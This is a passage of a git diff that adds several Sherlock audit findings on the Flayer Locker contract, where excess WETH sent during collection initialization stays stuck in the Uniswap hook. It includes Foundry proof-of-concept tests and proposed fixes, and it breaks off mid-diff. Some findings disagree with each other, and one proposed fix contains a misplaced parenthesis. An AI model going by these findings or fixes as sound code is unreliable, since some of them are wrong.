+When the collection is being initialized via the `Locker` contract, the user specifies the native token amount (`_eth`) that will be added as liquidity together with the collection token. The contract has a logic that returns the excess amount back to the user but it does not work as intended and the excess amount is locked in the hooks contract.
+
+
+### Root Cause
+
+The [`initializeCollection`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L384) function sends the native token directly to the hooks contract which does not return the excess amount.
+
+
+### Internal pre-conditions
+
+The amount of native tokens sent in `_eth` parameter is greater than required.
+
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+No attack here. It's a result of wrong implementation.
+
+### Impact
+
+Lock (permanent loss) of excess amount of native tokens.
+
+
+### PoC
+
+```solidity
+ function test_abuser_LossOfNativeDueToDirectTransferToHook() public {
+
+ // Define the collection we will be interacting with
+ address _collection = address(erc721a);
+
+ // Define our deterministic collection token
+ address expectedCollectionToken = LibClone.predictDeterministicAddress(locker.tokenImplementation(), bytes32(uint(1)), address(locker));
+
+ // Create our base collection. When the collection is created:
+ // - Create a CollectionToken and map it
+ // - Emit the `CollectionCreated` event
+ // - Define a UV4 `PoolKey`
+
+ // - Emit the `CollectionCreated` event
+ vm.expectEmit();
+ emit Locker.CollectionCreated(_collection, expectedCollectionToken, 'Test Collection', 'TEST', 0, address(this));
+
+ locker.createCollection(_collection, 'Test Collection', 'TEST', 0);
+
+ // Our Collection should not be marked as initialized
+ assertFalse(locker.collectionInitialized(_collection));
+
+ // - Create a CollectionToken and map it
+ assertEq(address(locker.collectionToken(_collection)), expectedCollectionToken);
+ assertEq(locker.collectionToken(_collection).totalSupply(), 0);
+
+ // - Define a UV4 `PoolKey`
+ PoolKey memory poolKey = PoolKey({
+ currency0: Currency.wrap(address(WETH) < expectedCollectionToken ? address(WETH) : expectedCollectionToken),
+ currency1: Currency.wrap(address(WETH) > expectedCollectionToken ? address(WETH) : expectedCollectionToken),
+ fee: LPFeeLibrary.DYNAMIC_FEE_FLAG,
+ tickSpacing: 60,
+ hooks: IHooks(address(uniswapImplementation))
+ });
+
+ assertEq(uniswapImplementation.getCollectionPoolKey(_collection), abi.encode(poolKey));
+
+ // At this point:
+ // - ERC721s are taken from the user
+ // - Liquidity provided from ETH + token
+ // - Emit `InitializeCollection` event
+ // - Collection is marked as initialized
+ uint tokenOffset = 100000;
+
+ // Mint enough tokens to initialize successfullyx
+ uint tokenIdsLength = locker.MINIMUM_TOKEN_IDS();
+ uint[] memory _tokenIds = new uint[](tokenIdsLength);
+ for (uint i; i < tokenIdsLength; ++i) {
+ _tokenIds[i] = tokenOffset + i;
+ ERC721Mock(_collection).mint(address(this), tokenOffset + i);
+ }
+
+ // Approve our {Locker} to transfer the tokens
+ ERC721Mock(_collection).setApprovalForAll(address(locker), true);
+
+ // - Emit `InitializeCollection` event
+ vm.expectEmit();
+ emit Locker.CollectionInitialized(_collection, abi.encode(poolKey), _tokenIds, SQRT_PRICE_1_2, address(this));
+
+ uint256 balanceBefore = WETH.balanceOf(address(this));
+
+ // Too big amount (should be 10 ether)
+ uint amount = 15 ether;
+
+ // - Liquidity provided from ETH + token
+ locker.initializeCollection(_collection, amount, _tokenIds, 0 ether, SQRT_PRICE_1_2);
+
+ // - ERC721s are taken from the user
+ for (uint i; i < tokenIdsLength; ++i) {
+ assertEq(ERC721Mock(_collection).ownerOf(tokenOffset + i), address(locker));
+ }
+
+ // - Collection is marked as initialized
+ assertTrue(locker.collectionInitialized(_collection));
+
+ assertEq(balanceBefore - WETH.balanceOf(address(this)), 10 ether);
+ }
+```
+
+### Mitigation
+
+The hooks contract should send the excess amount back to the locker which will later send it back to the user.
diff --git a/002/573.md b/002/573.md
new file mode 100644
index 0000000..b0a67f9
--- /dev/null
+++ b/002/573.md
@@ -0,0 +1,68 @@
+Radiant Brunette Seagull
+
+High
+
+# Redundant Balance Tracking and Refund Logic in `initializeCollection` Function
+
+## Summary
+
+The `initializeCollection` function in the `Locker` contract includes unnecessary balance tracking and refund logic, which complicates the function without providing any clear benefit. This can lead to confusion and potential inefficiencies in the contract's implementation.
+
+## Vulnerability Detail
+
+Within the `initializeCollection` function, the contract tracks the initial balance of `nativeToken` held by `address(this)` and attempts to refund any excess tokens back to the caller after transferring tokens to the `_implementation` contract. However, this logic is redundant because the `nativeToken.transferFrom` method directly moves tokens from the caller (`msg.sender`) to the `_implementation` contract, leaving the balance of `address(this)` unchanged.
+
+Specifically:
+
+1. **Recording Initial Balance**:
+ ```solidity
+ uint startBalance = nativeToken.balanceOf(address(this));
+ ```
+
+2. **Transfer of Funds**:
+ ```solidity
+ nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+ ```
+
+3. **Refunding Excess**:
+ ```solidity
+ nativeToken.transfer(
+ msg.sender,
+ startBalance - nativeToken.balanceOf(address(this))
+ );
+ ```
+
+This balance tracking and subsequent refund are unnecessary in the context of this function.
+
+## Impact
+
+The unnecessary balance tracking and refund logic can lead to:
+1. **Code Complexity**: Introducing redundant steps complicates the code, making it harder to read and maintain.
+2. **Potential Confusion**: Developers and auditors might be misled into thinking these steps are necessary for the correct operation of the function.
+3. **Inefficiency**: Although minor, performing these unnecessary operations can slightly increase computational overhead and gas costs.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L367-L399
+### Current Code with Redundant Logic
+
+```solidity
+uint startBalance = nativeToken.balanceOf(address(this));
+nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+// ...
+nativeToken.transfer(
+ msg.sender,
+ startBalance - nativeToken.balanceOf(address(this))
+);
+```
+
+### Explanation
+
+The `nativeToken.transferFrom(msg.sender, address(_implementation), _eth);` command directly transfers tokens from the caller to the `_implementation` contract, without affecting the balance of `address(this)`. Hence, the initial balance tracking and the refund operation are redundant.
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+The balance tracking of `address(this)` and the refund mechanism should be reviewed and corrected to simplify the `initializeCollection` function and ensure it only performs necessary operations. The unnecessary steps should be identified and removed to enhance code clarity and efficiency.
\ No newline at end of file
diff --git a/002/576.md b/002/576.md
new file mode 100644
index 0000000..7e01b4f
--- /dev/null
+++ b/002/576.md
@@ -0,0 +1,40 @@
+Warm Parchment Mole
+
+High
+
+# Missed extra ETH refund in the UniswapImplementation during the initialization of a collection.
+
+## Summary
+When a new collection is initialized in the Locker contract, it initializes the collection in UniswapImplementation and creates a full-range liquidity position. Any excess ETH from the transaction, based on sqrtPrice and token count, should be refunded via UniswapImplementation to the Locker contract and then to the user. However, the refund is missing, leading to stuck and lost funds.
+
+## Vulnerability Detail
+To initialize a new collection, the Locker contract's initializeCollection function is called, sending NFTs and the native token (equivalent to ETH) to the UniswapImplementation contract. UniswapImplementation is expected to create the first liquidity position and return any excess ETH to Locker, which then refunds the user.
+
+```solidity
+function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+ /* fn implementation */
+
+ // Send the native ETH equivalent token into the implementation
+ nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+
+ // Refund any unused relative token to the user
+ nativeToken.transfer(
+ msg.sender,
+ startBalance - nativeToken.balanceOf(address(this))
+ );
+}
+```
+
+## Impact
+User funds getting stuck and lost.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L367
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L205
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Transfer the unused ETH amount from UniswapImplementation contract to Locker contract
\ No newline at end of file
diff --git a/002/579.md b/002/579.md
new file mode 100644
index 0000000..ec6572a
--- /dev/null
+++ b/002/579.md
@@ -0,0 +1,42 @@
+Warm Parchment Mole
+
+Medium
+
+# Incorrect refund logic leads to collection not being initialized.
+
+## Summary
+The initializeCollection function can revert in cases where excess ETH is refunded by the UniswapImplementation contract, preventing the collection from being initialized.
+
+## Vulnerability Detail
+When the UniswapImplementation contract refunds excess ETH-equivalent tokens, the current refund logic in the `initializeCollection` function uses startBalance - nativeToken.balanceOf(address(this)). This will always revert since the latest nativeToken balance after refund will be greater than the startBalance, which leads to negative value for the transfer.
+
+```solidity
+function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+ /* fn implementation */
+
+ // Refund any unused relative token to the user
+ nativeToken.transfer(
+ msg.sender,
+ startBalance - nativeToken.balanceOf(address(this))
+ );
+}
+```
+
+## Impact
+If excess ETH is refunded, the entire transaction will revert, preventing the collection from being initialized.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L395
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Update the nativeToken transfer line to ensure correct handling of excess ETH
+```solidity
+nativeToken.transfer(
+ msg.sender,
+ nativeToken.balanceOf(address(this) - startBalance)
+);
+```
\ No newline at end of file
diff --git a/002/596.md b/002/596.md
new file mode 100644
index 0000000..0e4a20a
--- /dev/null
+++ b/002/596.md
@@ -0,0 +1,90 @@
+Uneven Burlap Dalmatian
+
+Medium
+
+# Unused ```nativeToken```s are not transferred back to the Pool initializer after the ```Locker::initializeCollection()``` and they stay on ```UniswapV4Implementation```.
+
+### Summary
+
+The ```nativeToken```s that didn't be used during the collection initializing and initial liquidity provision in ```Locker::initializeCollection()``` and ```UniswapV4Implementation::initializeCollection()``` are not transferred back to whoever made the initial deposit.
+
+### Root Cause
+
+The implementation of the transfer back of ```nativeToken```(probably ```WETH```) is not correctly since it assumes that the unused ```WETH``` will return to the ```Locker``` after the ```UniswapV4Implementation::initializeCollection()``` while this is not the case. We can see the vulnerable code here :
+```solidity
+ function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+ // ...
+
+ // Send the native ETH equivalent token into the implementation
+ uint startBalance = nativeToken.balanceOf(address(this));
+@> nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+
+ // Make our internal call to our implementation
+ uint tokens = _tokenIdsLength * 1 ether * 10 ** _collectionToken[_collection].denomination();
+ _implementation.initializeCollection(_collection, _eth, tokens, _tokenSlippage, _sqrtPriceX96);
+
+ // ...
+
+ // Refund any unused relative token to the user
+@> nativeToken.transfer(
+ msg.sender,
+ startBalance - nativeToken.balanceOf(address(this))
+ );
+ }
+```
+[Link to code](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L367)
+
+```Locker::initalizeCollection()``` assumes incorrectly that at the end of ```_implementation.initializeCollection``` call, the ```nativeToken``` that didn't deposited in the Pool will be returned back to the contract so they can be returned to the ```msg.sender```. However, as we can see in the ```UniswapV4Implementation::initializeCollection()```, this is not the case and the ```nativeToken``` which didn't deposit, just stay in the Hook. We can see the ```UniswapV4Implementation::_unlockCallback()``` that does never return the funds :
+```solidity
+ function _unlockCallback(bytes calldata _data) internal override returns (bytes memory) {
+ // ...
+
+ // Check the native delta amounts that we need to transfer from the contract
+ if (delta.amount0() < 0) {
+ _pushTokens(params.poolKey.currency0, uint128(-delta.amount0()));
+ }
+
+ // Check our ERC20 donation
+ if (delta.amount1() < 0) {
+ _pushTokens(params.poolKey.currency1, uint128(-delta.amount1()));
+ }
+
+ // If we have an expected amount of tokens being provided as liquidity, then we
+ // need to ensure that this exact amount is sent. There may be some dust that is
+ // lost during rounding and for this reason we need to set a small slippage
+ // tolerance on the checked amount.
+ if (params.liquidityTokens != 0) {
+ uint128 deltaAbs = _poolParams[params.poolKey.toId()].currencyFlipped ? uint128(-delta.amount0()) : uint128(-delta.amount1());
+ if (params.liquidityTokenSlippage < params.liquidityTokens - deltaAbs) {
+ revert IncorrectTokenLiquidity(
+ deltaAbs,
+ params.liquidityTokenSlippage,
+ params.liquidityTokens
+ );
+ }
+ }
+
+ // We return our `BalanceDelta` response from the donate call
+ return abi.encode(delta);
+ }
+```
+[Link to code](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L376C1-L420C6)
+
+### Internal pre-conditions
+1. The initial LP to initialize a collection and deposit some NFTs of this collection together with ```nativeToken``` to the Uniswap V4 Pool so to initialize liquidity as well.
+
+### External pre-conditions
+1. Some of these ```WETH``` provided to not be used for the liquidity provision.
+
+### Attack Path
+1. Initial LP call ```Locker::registerCollection()```, so to register collection.
+2. Initial LP call ```Locker::initializeCollection()```, so to initialize collection and pool with ```CollectionToken``` and ```WETH``` liquidity.
+
+### Impact
+The impact of this vulnerability is that the initial Liquidity Provider of a collection (the ```msg.sender of the ```Locker::initializeCollection()```) loses funds that were supposed to be returned to him after the initialization. This means that he, basically, overpaying for his initial liquidity provision and the unused ```WETH``` that belong to him stay in the ```UniswapV4Implementation``` contract.
+
+### PoC
+No PoC needed.
+
+### Mitigation
+Make sure that the unused ```WETH``` are returned to the ```Locker``` contract, so it will be able to be returned to the ```msg.sender``` as well.
\ No newline at end of file
diff --git a/002/647.md b/002/647.md
new file mode 100644
index 0000000..7be60a6
--- /dev/null
+++ b/002/647.md
@@ -0,0 +1,87 @@
+Hidden Oily Stork
+
+High
+
+# Any user calling the `Locker::initializeCollection` function will loose both their ERC721 tokens and the ETH (WETH) they provide.
+
+### Summary
+
+The `Locker::initializeCollection` function is designed to facilitate the creation of initial liquidity for an NFT collection. It enables users to deposit at least 10 NFT tokens along with an equivalent amount of ETH (WETH), based on the current market price of the assets. This function then establishes a Uniswap V4 pool using ERC20 tokens minted from the deposited NFTs and the provided ETH, thereby creating the pool's liquidity.
+
+However, the current implementation has a critical flaw: users who provide initial liquidity do not receive LP tokens or any other form of compensation to represent their share of the liquidity. Furthermore, there is no internal accounting to track who initiated the liquidity provision, which would otherwise allow them to claim a proportional share of the pool.
+
+The issue becomes apparent in the following sections of the `Locker::initializeCollection` function:
+
+- **[Line 380](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L380):** ERC721 tokens are deposited into the `Locker` contract, and the equivalent ERC20 tokens are minted and sent to the `Implementation` contract.
+
+- **[Line 384](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L384):** WETH is transferred from the user’s account to the `Implementation` contract.
+
+- **[Line 388](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L388):** The `UniswapImplementation::initializeCollection` function is called to create the Uniswap V4 pool using the ERC20 tokens and WETH. However, none of the parameters passed to this function include information about the original caller, resulting in a lack of linkage between the liquidity pool and the initial contributor.
+
+Additionally, the `msg.sender` is always set to `address(locker)` in the three aforementioned calls, making it impossible for the `Implementation` contract to associate the liquidity with the original caller.
+
+```solidity
+ function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+ // Ensure the collection is not already initialised
+ if (collectionInitialized[_collection]) revert CollectionAlreadyInitialized();
+
+ // Ensure that the minimum threshold of collection tokens have been provided
+ uint _tokenIdsLength = _tokenIds.length;
+ if (_tokenIdsLength < MINIMUM_TOKEN_IDS) revert InsufficientTokenIds();
+
+ // cache
+ IBaseImplementation _implementation = implementation;
+ IERC20 nativeToken = IERC20(_implementation.nativeToken());
+
+ // Convert the tokens into ERC20's which will return at a rate of 1:1
+ deposit(_collection, _tokenIds, address(_implementation)); // @> L380
+
+ // Send the native ETH equivalent token into the implementation
+ uint startBalance = nativeToken.balanceOf(address(this));
+ nativeToken.transferFrom(msg.sender, address(_implementation), _eth); // @> L384
+
+ // Make our internal call to our implementation
+ uint tokens = _tokenIdsLength * 1 ether * 10 ** _collectionToken[_collection].denomination();
+ _implementation.initializeCollection(_collection, _eth, tokens, _tokenSlippage, _sqrtPriceX96); // @> L388
+
+ // Map our collection as initialized
+ collectionInitialized[_collection] = true;
+ emit CollectionInitialized(_collection, _implementation.getCollectionPoolKey(_collection), _tokenIds, _sqrtPriceX96, msg.sender);
+
+// @> There is no record of who initiated the liquidity provision
+
+ // Refund any unused relative token to the user
+ nativeToken.transfer(
+ msg.sender,
+ startBalance - nativeToken.balanceOf(address(this))
+ );
+ }
+```
+
+### Root Cause
+
+There is no internal accounting to track who initiated the liquidity provision, which would otherwise provide proof of their contribution and entitle them to a proportional share of the pool.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Users calling the `Locker::initializeCollection` function will loose both their ERC721 tokens and the ETH (WETH) they provide.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Implement an accounting system to enable users who provide initial liquidity to either withdraw their contributions or recover their liquidity if the collection is shut down. This system should track user contributions and ensure that liquidity stored in the Uniswap V4 pool can be reclaimed as needed.
\ No newline at end of file
diff --git a/002/651.md b/002/651.md
new file mode 100644
index 0000000..c3036ff
--- /dev/null
+++ b/002/651.md
@@ -0,0 +1,92 @@
+Large Mauve Parrot
+
+Medium
+
+# `initializeCollection()` doesn't refund native tokens
+
+### Summary
+
+_No response_
+
+### Root Cause
+
+When initializing a new collection and providing the first liquidity the function [Locker::initializeCollection()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L395-L398) attempts to refund left-over native tokens to the caller at the end of execution:
+```solidity
+...
+nativeToken.transfer(
+ msg.sender,
+ startBalance - nativeToken.balanceOf(address(this))
+);
+...
+```
+
+this doesn't work because native tokens are never held in the locker, they are held in the `UniswapImplementation` hook instead.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Excess native tokens are not refunded and are stuck in the `UniswapImplementation` hook.
+
+### PoC
+
+
+ To copy-paste in `UniswapImplementation.t.sol`:
+
+```solidity
+ function test_nativeTokensNotRefunded() public {
+ address alice = makeAddr("alice");
+
+ ERC721Mock erc721 = new ERC721Mock();
+ CollectionToken ctoken = CollectionToken(locker.createCollection(address(erc721), 'ERC721', 'ERC', 0));
+
+
+ //### APPROVALS
+ //-> Alice approvals
+ vm.startPrank(alice);
+ erc721.setApprovalForAll(address(locker), true);
+ ctoken.approve(address(poolSwap), type(uint256).max);
+ ctoken.approve(address(uniswapImplementation), type(uint256).max);
+ vm.stopPrank();
+ _approveNativeToken(alice, address(locker), type(uint).max);
+ _approveNativeToken(alice, address(poolManager), type(uint).max);
+ _approveNativeToken(alice, address(poolSwap), type(uint).max);
+
+
+ //-> Mint 10 tokens to Alice
+ uint[] memory _tokenIds = new uint[](10);
+ for (uint i; i < 10; ++i) {
+ erc721.mint(alice, i);
+ _tokenIds[i] = i;
+ }
+
+ uint256 nativeInHookBefore = WETH.balanceOf(address(uniswapImplementation));
+
+ //-> alice initializes a collection and adds liquidity: 1e19+1e18 NATIVE + 1e19 CTOKEN
+ uint256 initialNativeLiquidity = 1e19 + 1e18;
+ _dealNativeToken(alice, initialNativeLiquidity);
+ vm.startPrank(alice);
+ locker.initializeCollection(address(erc721), initialNativeLiquidity, _tokenIds, 0, SQRT_PRICE_1_1);
+ vm.stopPrank();
+
+ //-> 1e18 native tokens are stuck
+ uint256 nativeInHookAfter = WETH.balanceOf(address(uniswapImplementation));
+ uint256 stuckNative = nativeInHookAfter - nativeInHookBefore;
+ assertEq(stuckNative, 1e18);
+ }
+```
+
+
+### Mitigation
+
+In [UniswapImplementation::_unlockCallback()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L376C14-L376C22) send back the remaining native tokens to the locker, which will then send it back to the caller.
\ No newline at end of file
diff --git a/002/674.md b/002/674.md
new file mode 100644
index 0000000..db5d786
--- /dev/null
+++ b/002/674.md
@@ -0,0 +1,49 @@
+Polite Macaroon Parakeet
+
+High
+
+# Initializing a new collection will always revert
+
+## Summary
+Initializing a new collection will always revert because the hook beforeInitialize always revert.
+## Vulnerability Detail
+When initializing a new collection, the code will ask pool manager to initialize the pool corresponding for that collection.
+```solidity
+function initializeCollection(address _collection, uint _amount0, uint _amount1, uint _amount1Slippage, uint160 _sqrtPriceX96) public override {
+...
+poolManager.initialize(poolKey, _sqrtPriceX96, '');
+...
+}
+```
+Pool manager then will execute the request. During the execution, pool manager will call to the hook assigned with this init request:
+```solidity
+ function initialize(PoolKey memory key, uint160 sqrtPriceX96, bytes calldata hookData)
+ external
+ noDelegateCall
+ returns (int24 tick)
+ {
+...
+ key.hooks.beforeInitialize(key, sqrtPriceX96, hookData);
+...
+ }
+```
+
+The problem is that the beforeInitialize() hook that pool manager is going to call to later will always revert.
+
+```solidity
+function beforeInitialize(address /* sender */, PoolKey memory /* key */, uint160 /* sqrtPriceX96 */, bytes calldata /* hookData */) public view override onlyByPoolManager returns (bytes4) {
+ revert CannotBeInitializedDirectly();
+ }
+```
+## Impact
+DOS of core function
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L214
+https://github.com/Uniswap/v4-core/blob/e06fb6a3511d61332db4a9fa05bc4348937c07d4/src/PoolManager.sol#L135
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L452-L454
+## Tool used
+
+Manual Review
+
+## Recommendation
+Remove the revert in beforeInitialize()
\ No newline at end of file
diff --git a/002/685.md b/002/685.md
new file mode 100644
index 0000000..0e7a482
--- /dev/null
+++ b/002/685.md
@@ -0,0 +1,95 @@
+Silly Chocolate Vulture
+
+Medium
+
+# Excess eth will not be returned during initialization of initialize collection
+
+## Summary
+The `Locker` contract wishes to return the excess eth after adding liquidity to the caller, but due to an incorrect implementation, the excess eth will remain in the `uniswapImplementation` contract
+## Vulnerability Detail
+```solidity
+ function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+ // Ensure the collection is not already initialised
+ if (collectionInitialized[_collection]) revert CollectionAlreadyInitialized();
+
+ // Ensure that the minimum threshold of collection tokens have been provided
+ uint _tokenIdsLength = _tokenIds.length;
+ if (_tokenIdsLength < MINIMUM_TOKEN_IDS) revert InsufficientTokenIds();
+
+ // cache
+ IBaseImplementation _implementation = implementation;
+ IERC20 nativeToken = IERC20(_implementation.nativeToken());
+
+ // Convert the tokens into ERC20's which will return at a rate of 1:1
+ deposit(_collection, _tokenIds, address(_implementation));
+
+ // Send the native ETH equivalent token into the implementation
+ uint startBalance = nativeToken.balanceOf(address(this));
+ nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+
+ // Make our internal call to our implementation
+ uint tokens = _tokenIdsLength * 1 ether * 10 ** _collectionToken[_collection].denomination();
+ _implementation.initializeCollection(_collection, _eth, tokens, _tokenSlippage, _sqrtPriceX96);
+
+ // Map our collection as initialized
+ collectionInitialized[_collection] = true;
+ emit CollectionInitialized(_collection, _implementation.getCollectionPoolKey(_collection), _tokenIds, _sqrtPriceX96, msg.sender);
+
+ // Refund any unused relative token to the user
+ nativeToken.transfer(
+ msg.sender,
+ startBalance - nativeToken.balanceOf(address(this))
+ );
+ }
+```
+The final step of the contract is to return the excess eth to the caller
+However, all funds provided by the user will enter the `uniswapImplementation` contract and will not remain in the `Locker` contract
+Therefore, the logic of refunding excess eth implemented in the contract is incorrect
+## Impact
+Users will not receive refunds for the remaining ETH after adding liquidity
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L395
+## Tool used
+
+Manual Review
+
+## Recommendation
+Firstly, it is necessary to implement the return of excess native tokens to the `Locker` contract in the `UniswapImplementation` contract
+
+Then make the following modifications
+```diff
+ function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+ // Ensure the collection is not already initialised
+ if (collectionInitialized[_collection]) revert CollectionAlreadyInitialized();
+
+ // Ensure that the minimum threshold of collection tokens have been provided
+ uint _tokenIdsLength = _tokenIds.length;
+ if (_tokenIdsLength < MINIMUM_TOKEN_IDS) revert InsufficientTokenIds();
+
+ // cache
+ IBaseImplementation _implementation = implementation;
+ IERC20 nativeToken = IERC20(_implementation.nativeToken());
+
+ // Convert the tokens into ERC20's which will return at a rate of 1:1
+ deposit(_collection, _tokenIds, address(_implementation));
+
+ // Send the native ETH equivalent token into the implementation
+ uint startBalance = nativeToken.balanceOf(address(this));
+ nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+
+ // Make our internal call to our implementation
+ uint tokens = _tokenIdsLength * 1 ether * 10 ** _collectionToken[_collection].denomination();
+ _implementation.initializeCollection(_collection, _eth, tokens, _tokenSlippage, _sqrtPriceX96);
+
+ // Map our collection as initialized
+ collectionInitialized[_collection] = true;
+ emit CollectionInitialized(_collection, _implementation.getCollectionPoolKey(_collection), _tokenIds, _sqrtPriceX96, msg.sender);
+
+ // Refund any unused relative token to the user
+ nativeToken.transfer(
+ msg.sender,
+- startBalance - nativeToken.balanceOf(address(this))
++ nativeToken.balanceOf(address(this)) - startBalance
+ );
+ }
+```
\ No newline at end of file
diff --git a/002/728.md b/002/728.md
new file mode 100644
index 0000000..f16cd05
--- /dev/null
+++ b/002/728.md
@@ -0,0 +1,131 @@
+Vast Umber Walrus
+
+Medium
+
+# Refund logic in `Locker::initializeCollection()` incorrectly handles the return of unused tokens.
+
+## Summary
+
+The refund logic in the [`Locker::initializeCollection()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L367-L399) fails to work as intended. `nativeToken`s are transferred from the user to the `implementation` contract, but no tokens are transferred to the Locker contract.
+
+As a result, the process designed to refund unused native tokens to the user during the creation of initial liquidity does not execute correctly, leading to no refunds being made.
+
+## Vulnerability Detail
+
+When the [`Locker::initializeCollection()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L367-L399) function is called, it attempts to refund any unused native tokens back to the user. However, the logic does not work as intended because the tokens are transferred from the user to the `implementation` contract, and there is no token transfer to the `Locker` contract.
+
+[Locker::initializeCollection()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L367-L399)
+```solidity
+File: Locker.sol
+367: function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+---
+379: // Convert the tokens into ERC20's which will return at a rate of 1:1
+380: deposit(_collection, _tokenIds, address(_implementation));
+---
+382: // Send the native ETH equivalent token into the implementation
+383: uint startBalance = nativeToken.balanceOf(address(this));
+384:@> nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+---
+388: _implementation.initializeCollection(_collection, _eth, tokens, _tokenSlippage, _sqrtPriceX96);
+---
+394: // Refund any unused relative token to the user
+395:@> nativeToken.transfer(
+396: msg.sender,
+397: startBalance - nativeToken.balanceOf(address(this))
+398: );
+399: }
+```
+
+As a result, no refunds are made to the user. The logic assumes that if there are unused tokens after liquidity is provided, those tokens should be refunded, but this process fails.
+
+Furthermore, this issue does not aim to address user mistakes in specifying excessive native tokens beyond the required price. Instead, the issue lies in the logic designed to refund unused tokens that were intended to provide liquidity at the specified price.
+
+## Impact
+
+The logic does not work as intended, and users who provide liquidity might end up losing their unused tokens, as the system fails to refund any leftover tokens.
+
+## Code Snippet
+
+[Locker::initializeCollection()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L367-L399)
+```solidity
+File: Locker.sol
+367: function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+---
+379: // Convert the tokens into ERC20's which will return at a rate of 1:1
+380: deposit(_collection, _tokenIds, address(_implementation));
+---
+382: // Send the native ETH equivalent token into the implementation
+383: uint startBalance = nativeToken.balanceOf(address(this));
+384:@> nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+---
+388: _implementation.initializeCollection(_collection, _eth, tokens, _tokenSlippage, _sqrtPriceX96);
+---
+394: // Refund any unused relative token to the user
+395:@> nativeToken.transfer(
+396: msg.sender,
+397: startBalance - nativeToken.balanceOf(address(this))
+398: );
+399: }
+```
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+In the context of the contest, the `implementation` contract refers to the [`UniswapImplementation`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol) contract. Therefore, the recommendations will be based on this code.
+
+```diff
+File: Locker.sol
+function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+
+---
+ // Send the native ETH equivalent token into the implementation
+ uint startBalance = nativeToken.balanceOf(address(this));
+ nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+
+---
+
+ _implementation.initializeCollection(_collection, _eth, tokens, _tokenSlippage, _sqrtPriceX96);
+
+---
+ // Refund any unused relative token to the user
+ nativeToken.transfer(
+ msg.sender,
+- startBalance - nativeToken.balanceOf(address(this))
++ nativeToken.balanceOf(address(this)) - startBalance
+ );
+}
+```
+
+```diff
+File: UniswapImplementation.sol
